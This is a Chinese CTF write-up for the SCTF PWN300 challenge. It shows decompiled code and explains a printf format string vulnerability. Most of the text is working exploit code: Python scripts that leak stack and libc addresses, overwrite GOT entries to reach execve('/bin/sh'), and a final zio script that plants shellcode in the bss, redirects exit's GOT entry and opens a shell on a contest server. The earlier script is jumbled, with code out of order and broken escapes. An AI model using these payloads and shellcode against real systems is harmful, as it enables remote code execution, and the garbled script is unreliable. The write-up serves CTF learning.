这题同样也不难,尤其是在做了PWN200之后,很容易便能想清楚这题可以怎么做,唯一的区别就是PWN200是栈溢出,这题是格式化字符串漏洞。
IDA反编译的程序如下(我改了几个函数名方便看):
int __cdecl show_hint() { puts("----------------------"); puts("1:Play a game"); puts("2:Leave a message"); puts("3:Print your message"); puts("4:Exit"); return puts("----------------------"); } int __cdecl leave_message() { puts("input your message"); memset(src, 0, 0x400u); return read_str(src, 1024); } int __cdecl show_message() { int result; // eax@1 char dest; // [sp+1Ch] [bp-40Ch]@1 int v2; // [sp+41Ch] [bp-Ch]@1 v2 = *MK_FP(__GS__, 20); strcpy(&dest, src); printf("Your message is:"); printf(src); result = *MK_FP(__GS__, 20) ^ v2; if ( *MK_FP(__GS__, 20) != v2 ) __stack_chk_fail(); return result; } void __cdecl guess_number() { unsigned int v0; // eax@1 int v1; // [sp+18h] [bp-10h]@2 int v2; // [sp+1Ch] [bp-Ch]@1 v0 = time(0); srand(v0); v2 = rand() % 10; puts("Test your RP...."); do { do { printf("Guess a number(0-10):"); __isoc99_read_str("%d", &v1); } while ( v1 < 0 ); } while ( v1 > 10 ); if ( v2 == v1 ) puts("You win"); else puts("You lost"); exit(0); } void __cdecl main() { signed int v0; // [sp+1Fh] [bp-1h]@2 setvbuf(stdout, 0, 2, 0); puts("Welcome to SCTF! Good luck & Have fun~"); while ( 1 ) { while ( 1 ) { show_hint(); puts("input your choice:"); read(&v0, 2); if ( (char)v0 != 50 ) break; leave_message(); puts(&byte_8048AEE); } if ( (char)v0 > 50 ) { if ( (char)v0 == 51 ) { show_message(); puts(&byte_8048AEE); } else { if ( (char)v0 == 52 ) exit(0); } } else { if ( (char)v0 == 49 ) guess_number(); } } }
很明显我们可以发现,guess_number是没有用的,leave_message和show_message才是我们需要注意的重点,show_message中是直接调用printf(src)进行的输出,而src是我们输入的字符串,很显然,这里是再明显不过了的格式化字符串溢出漏洞了,我们需要想的只是溢出之后怎么拿到shell。
毫无疑问,我们这里完全可以仿照PWN200的方法,先输出libc中某个函数的真实地址,然后算出execve的地址,而调用execve所需的字符串/bin/sh我们可以直接通过栈传递进去,不用写到GOT表那里了,因为这一次通过格式化字符串漏洞我们是知道栈地址的。
然后这题比较蛋疼的是,他输出既有用puts,也有用printf,然后我当时为了偷懒,就想用puts来输出地址,然后不知道为什么总是错,后来换用printf来输出就好了,就为了这个问题,当时硬生生熬到凌晨两三点人都快不行了才搞出来。
然后,后来还了解到,栈中是有libc的加载地址的,于是乎,可以直接就在栈中找就好了,方便点。
下面还是贴下我比赛时的程序,因为当时实在不知道错哪了,还在本地把那个程序跑起来了进行本地实验,然后代码现在确实有点分不太清楚哪些是最终通过的代码部分了,因为当时一做出来就去睡了,再没看了,所以先全部贴出来吧,要是将来啥时候有闲情,再来整理下吧:
#!/usr/bin/env python #encoding:utf-8 s.send('2n') s.recv(4096) s.send('0x%266$08x 0x%277$08xn') s.recv(4096) s.send('3n') s.recv(4096) import socket import binascii s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect(('218.2.197.248', 10002)) s.connect(('10.211.55.10', 8888)) s.send('2n') s.recv(4096) s.send('0x%266$08x 0x%265$08x 0x%267$08xn') s.recv(4096) s.send('3n') ret = s.recv(4096) while ret.find('0x') == -1: ret += s.recv(4096) pos = ret.find('0x') ebp = int(ret[pos + 2:pos + 10], 16) # binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 64 + 240)[2:])[::-1]) first = calc(ebp - 0x30 + 4) # second = fill(0x30, 'e0840408''9f880408''18910408') second = fill(0x80, 'e0840408''70850408''04910408') if first.find('x00') != -1 or second.find('x00') != -1: raise RuntimeError() s.send('2n') s.recv(4096) s.send(first + second + 'a' * (240 - len(second)) + 'n') s.recv(4096) s.send('3n') print hex(ebp) ret = s.recv(4096) while ret.find('a' * 5) == -1: ret += s.recv(4096) pos = ret.find('a' * 5) + 5 # puts_addr = int(binascii.hexlify(ret[pos:pos + 4][::-1]), 16) puts_addr = int(binascii.hexlify(ret[:4][::-1]), 16) puts_pos = binascii.hexlify(binascii.unhexlify(hex(puts_addr)[2:])[::-1]) execve_addr = 0x000B8240 - 0xde3a0 + puts_addr execve_pos = binascii.hexlify(binascii.unhexlify(hex(execve_addr)[2:])[::-1]) execve_pos = '203becf7' import socket import binascii s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('218.2.197.248', 10002)) # s.connect(('10.211.55.10', 8888)) s.send('2n') s.recv(4096) s.send('0x%266$08x 0x%265$08x 0x%267$08xn') s.recv(4096) s.send('3n') ret = s.recv(4096) while ret.find('0x') == -1: ret += s.recv(4096) pos = ret.find('0x') ebp = int(ret[pos + 2:pos + 10], 16) # bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1]) bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1]) first = calc(ebp - 0x30 + 4) # second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800') # second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos) second = fill(0x80, 'a0840408' + '70850408' + bin_sh_pos + '04910408' + '00' * 8 + '3d3d2538733d3d2d') s.send('2n') s.recv(4096) s.send(first + second + 'a' * (400 - len(second)) + 'n') s.recv(4096) s.send('3n') ret = s.recv(4096) s.send('2n') s.recv(4096) s.send('0x%266$08x 0x%265$08x 0x%267$08xn') s.recv(4096) s.send('3n') ret = s.recv(4096) while ret.find('0x') == -1: ret += s.recv(4096) pos = ret.find('0x') ebp = int(ret[pos + 2:pos + 10], 16) # bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1]) bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1]) first = calc(ebp - 0x30 + 4) # second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800') # second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos) second = fill(0x80, 'e0840408' + execve_pos + bin_sh_pos + bin_sh_pos + '00' * 8 + '2f62696e2f736800') s.send('2n') s.recv(4096) s.send(first + second + 'a' * (400 - len(second)) + 'n') s.recv(4096) s.send('3n') ret = s.recv(4096) def calc(addr): payload = '' for pos in xrange(addr, addr + 32): payload += chr(int(hex(pos & 0xff)[2:4], 16)) payload += chr(int(hex(pos & 0xff00)[2:4], 16)) payload += chr(int(hex(pos & 0xff0000)[2:4], 16)) payload += chr(int(hex(pos & 0xff000000)[2:4], 16)) return payload def fill(last, aim): payload = '' num = 7 zero = 265 for i in xrange(0, len(aim), 2): now = int(aim[i:i + 2], 16) if now != last: if now < last: now += 0x100 payload += '%' + str(zero) + '$' + str(now - last) + 'x' last = now & 0xff payload += '%' + str(num) + '$hn' num += 1 return payload
最后还是想说,这题真的是好蛋疼,通过格式化字符串溢出漏洞要改这么多个值,想想就觉得残暴……
重新整理了下这题,然后被人提醒bss段可写可执行,然后我就醉了,合着这题libc根本就用不到……
这里最后需要随便选个函数作为shellcode的触发,我选的exit,新代码如下:
#!/usr/bin/env python #encoding:utf-8 import zio from time import sleep def NOPS(n): return 'x90' * n def LEFT_PAD(s, n): assert len(s) <= n return NOPS(n - len(s)) + s def RIGHT_PAD(s, n): assert len(s) <= n return s + NOPS(n - len(s)) def PREPARE_FORMAT(payload, addr, count=4): if count == 0: return payload payload += zio.l32(addr) return PREPARE_FORMAT(payload, addr + 1, count - 1) def FILL_FORMAT(payload, last, addr_pos, value, count=4): if count == 0: return payload, last byte_value = value & 0xff if byte_value != last: if byte_value < last: byte_value += 0x100 payload += '%%1$%dc' % (byte_value - last) payload += '%%%d$hhn' % addr_pos return FILL_FORMAT(payload, byte_value & 0xff, addr_pos + 1, value >> 8, count - 1) DELAY = 0.1 JMP06 = 'xebx06' SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80" def RAW_WITH_DELAY(s): sleep(DELAY) return str(s) def NONE_WITH_DELAY(s): sleep(DELAY) return '' TARGET = ('218.2.197.235', 10102) SHELLCODE_ADDR = 0x08049180 EXIT_GOT = 0x8049120 # local # TARGET = './pwn300' io = zio.zio(TARGET, print_write=NONE_WITH_DELAY, print_read=False) payload = '' payload = PREPARE_FORMAT(payload, EXIT_GOT) last = len(payload) payload, last = FILL_FORMAT(payload, last, 7, SHELLCODE_ADDR) # change exit got to shellcode addr io.writeline('2') io.writeline(payload) io.writeline('3') # call exit to trigger shellcode io.writeline('2') io.writeline(SHELLCODE) io.writeline('4') io.interact()